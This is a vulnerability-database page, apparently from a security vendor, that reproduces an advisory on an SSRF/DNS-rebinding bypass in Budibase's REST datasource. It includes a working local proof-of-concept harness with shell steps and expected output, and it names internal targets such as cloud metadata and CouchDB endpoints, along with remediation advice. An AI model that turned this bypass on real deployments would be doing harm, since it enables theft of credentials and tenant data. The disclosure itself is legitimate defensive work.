How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

363,159

Total vulnerabilities in the database

Budibase: SSRF via DNS rebinding in the REST datasource integration — @budibase / server

Time-of-check Time-of-use (TOCTOU) Race Condition

Summary

Budibase's central outbound-fetch guard (fetchWithBlacklist) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and pinning the connection to the validated IP. The pin is implemented as a Node http(s).Agent (makePinnedAgent). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding.

The REST datasource integration (@budibase/server) calls fetchWithBlacklist but performs the actual request with undici's fetch. undici does not support the Node agent option — it is silently ignored — and instead uses its own dispatcher, which re-resolves the hostname's DNS at connection time. As a result, the validated/pinned IP is never used on the REST datasource path, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase.

An authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services — cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints — reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data.

Details

The guard pins the validated IP via a Node agent — packages/backend-core/src/utils/outboundFetch.ts:

resolveSafePinnedIp(url) resolves the hostname and checks every address against isBlacklisted, returning a single pinnedIp (lines ~39–53).
makePinnedAgent(url, ip) builds a Node http.Agent/https.Agent whose lookup always returns pinnedIp, so a node-fetch connection can only reach the validated IP (lines ~55–68).
fetchWithBlacklist passes that agent into the request: fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) }) (lines ~186–192). Each redirect hop is re-validated and re-pinned in the loop.

The REST integration overrides the transport with undici, which ignores agent — packages/server/src/integrations/rest.ts:

fetch is imported from undici (top-of-file import block, ~line 30).
The request is made by overriding fetchFn (lines ~767–793): const setDispatcher = (requestInput, requestUrl) => ({ ...requestInput, dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }), }) ... response = await coreUtils.fetchWithBlacklist(url, input, { fetchFn: async (requestUrl, requestInput) => fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch }) The options object reaching undici.fetch is { ...nextRequest, agent: <pinned Node Agent>, dispatcher: <getDispatcher result> }. undici uses dispatcher and ignores agent.

The dispatcher does no IP pinning — packages/backend-core/src/utils/fetch.ts:

getDispatcher → createDispatcher → (no proxy env) → createDirectAgent = new Agent({ connect: { rejectUnauthorized } }) (lines ~109–114, ~161–172, ~183). This is a plain undici Agent with no connect.lookup / no pin, so undici resolves the hostname's DNS itself at connect time.

Net effect (TOCTOU / DNS rebinding): fetchWithBlacklist validates the hostname → safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, 127.0.0.1 / 169.254.169.254 / internal IP at connect), the request lands on an internal service — exactly the gap CVE-2026-54353's pin was meant to close.

Scope of impact / why it's REST-specific: rest.ts is the only caller that overrides fetchFn with undici. All other outbound sinks (automation outgoingWebhook/n8n/make/zapier/discord/slack, and AI-extract's processUrlFile) use the default node-fetch-based fetchWithBlacklist, which does honor the pinned agent and is not affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind).

PoC

The PoC drives the real, unmodified guard code (outboundFetch.ts + fetch.ts, copied verbatim — sha256 verified) and reproduces the exact rest.ts call pattern. Only the ../blacklist module is stubbed to model the rebinding input (validation observes a safe public IP). Requires Node 18+.

# prerequisite: a Budibase checkout; set BB to its path
export BB=/path/to/budibase
mkdir ssrf-poc &amp;&amp; cd ssrf-poc
SRC=&quot;$BB/packages/backend-core/src&quot;

# 1) Copy the REAL guard code, verbatim (sha proves no edits)
mkdir -p real/utils real/blacklist
cp &quot;$SRC/utils/outboundFetch.ts&quot; real/utils/
cp &quot;$SRC/utils/fetch.ts&quot;         real/utils/

# 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP
cat &gt; real/blacklist/index.ts &lt;&lt;&#039;EOF&#039;
const SAFE = &quot;203.0.113.10&quot; // RFC5737 TEST-NET-3, not blacklisted -&gt; validation passes
export async function resolveAddress(_a: string): Promise&lt;string[]&gt; { return [SAFE] }
export async function isBlacklisted(a: string): Promise&lt;boolean&gt; { return a !== SAFE }
EOF

# 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern
cat &gt; entry.ts &lt;&lt;&#039;EOF&#039;
import http from &quot;http&quot;
import { fetch as undiciFetch } from &quot;undici&quot;
import { fetchWithBlacklist } from &quot;./real/utils/outboundFetch&quot; // REAL guard
import { getDispatcher } from &quot;./real/utils/fetch&quot;              // REAL dispatcher
async function main() {
  const server = http.createServer((_q, r) =&gt; r.end(&quot;INTERNAL_SECRET_RESPONSE&quot;))
  await new Promise&lt;void&gt;(r =&gt; server.listen(0, &quot;127.0.0.1&quot;, r))
  const port = (server.address() as any).port
  const target = `http://localhost:${port}/` // OS resolves localhost -&gt; 127.0.0.1 at connect
  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -&gt; 203.0.113.10 (safe), pins to it`)

  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).
  const restFetchFn = (u: string, i: any) =&gt;
    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any
  let A: string
  try { const r: any = await fetchWithBlacklist(target, { method: &quot;GET&quot; } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }
  catch (e: any) { A = `ERROR ${e.message}` }
  console.log(&quot;(A) REST/undici path  -&gt;&quot;, A)

  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.
  let B: string
  try { const r: any = await fetchWithBlacklist(target, { method: &quot;GET&quot;, timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }
  catch (e: any) { B = `ERROR ${e.message}` }
  console.log(&quot;(B) node-fetch path   -&gt;&quot;, B)

  const bypass = A.includes(&quot;INTERNAL_SECRET_RESPONSE&quot;), contained = !B.includes(&quot;INTERNAL_SECRET_RESPONSE&quot;)
  console.log(`\nRESULT: ${bypass &amp;&amp; contained ? &quot;PASS - undici path BYPASSES guard, node-fetch path CONTAINED&quot; : &quot;FAIL&quot;}`)
  server.close(); process.exit(bypass &amp;&amp; contained ? 0 : 1)
}
main()
EOF

# 4) Deps, bundle, run
npm init -y &gt;/dev/null 2&gt;&amp;1
npm install undici@6 node-fetch@2 esbuild
npx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs
node entry.cjs

Expected output (the port is the only variable):

[*] internal service 127.0.0.1:&lt;random&gt;; guard validates host -&gt; 203.0.113.10 (safe), pins to it
(A) REST/undici path  -&gt; status 200 body=INTERNAL_SECRET_RESPONSE
(B) node-fetch path   -&gt; ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:&lt;random&gt;/

RESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED

How to read it:

(A) the real fetchWithBlacklist validated and pinned the safe public IP 203.0.113.10, yet the undici REST transport re-resolved localhost and reached 127.0.0.1 — the internal service responded → SSRF bypass.
(B) the default node-fetch path honored the pin (forced to the unroutable 203.0.113.10) and never reached the internal service. The "Failed to connect to resolved IP for localhost" string is emitted by the real outboundFetch.ts, proving the pin works there. This is the negative control localizing the bug to the undici transport.

Real-world variant: instead of localhost, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard's validation lookup and an internal IP (169.254.169.254, 127.0.0.1, internal CouchDB/Redis) at undici's connect-time lookup; the REST datasource query then returns the internal response body to the attacker.

Impact

Type: Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body).

Who is impacted: Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it.

Realistic worst case: An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server:

read cloud metadata (http://169.254.169.254/...) → steal IAM credentials → cloud account compromise;
read the internal CouchDB (http://127.0.0.1:5984/_all_dbs, _users) → all tenants' apps, users, and secrets;
using PUT/POST/DELETE against unauthenticated localhost services → create admin documents, modify or delete tenant databases / flush caches → integrity and availability loss for all co-tenants.

CVSS 3.1 Vector Justification

| Metric | Value | Why | |---|---|---| | Attack Vector (AV) | Network (N) | Triggered through Budibase's HTTP API / app (a REST datasource query). | | Attack Complexity (AC) | High (H) | Requires DNS rebinding — the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory. | | Privileges Required (PR) | Low (L) | Requires an authenticated account that can configure/run a REST datasource (builder/tenant). | | User Interaction (UI) | None (N) | The attacker configures and triggers the request; no victim interaction. | | Scope (S) | Changed (C) | Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO). | | Confidentiality (C) | High (H) | Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant's apps, users, secrets). | | Integrity (I) | High (H) | Arbitrary method/body allows PUT/POST/DELETE to unauthenticated localhost services (CouchDB :5984) → create admin docs, modify tenant data. | | Availability (A) | High (H) | The same write primitive can DELETE databases / flush Redis → full data/service loss for all tenants. |

Notes: AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), AC:L yields CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. A conservative read-only interpretation is I:N/A:N.

Suggested remediation

Make the transport that actually performs the request honor the validated IP. In getDispatcher/rest.ts, construct the undici Agent with a connect: { lookup } (or custom connect) that returns only the pinnedIp resolved by fetchWithBlacklist (i.e., mirror makePinnedAgent for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against isBlacklisted inside the undici connect callback. The Node-agent pin must not be relied upon when the request is issued through undici.

Published: Jul 24, 2026
Updated: Jul 25, 2026
GHSA: GHSA-v42f-v8xc-j435
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 8.5
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CWEs:

Affected Software
References

Software	From	Fixed in
@budibase / server	-	3.38.1.x

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.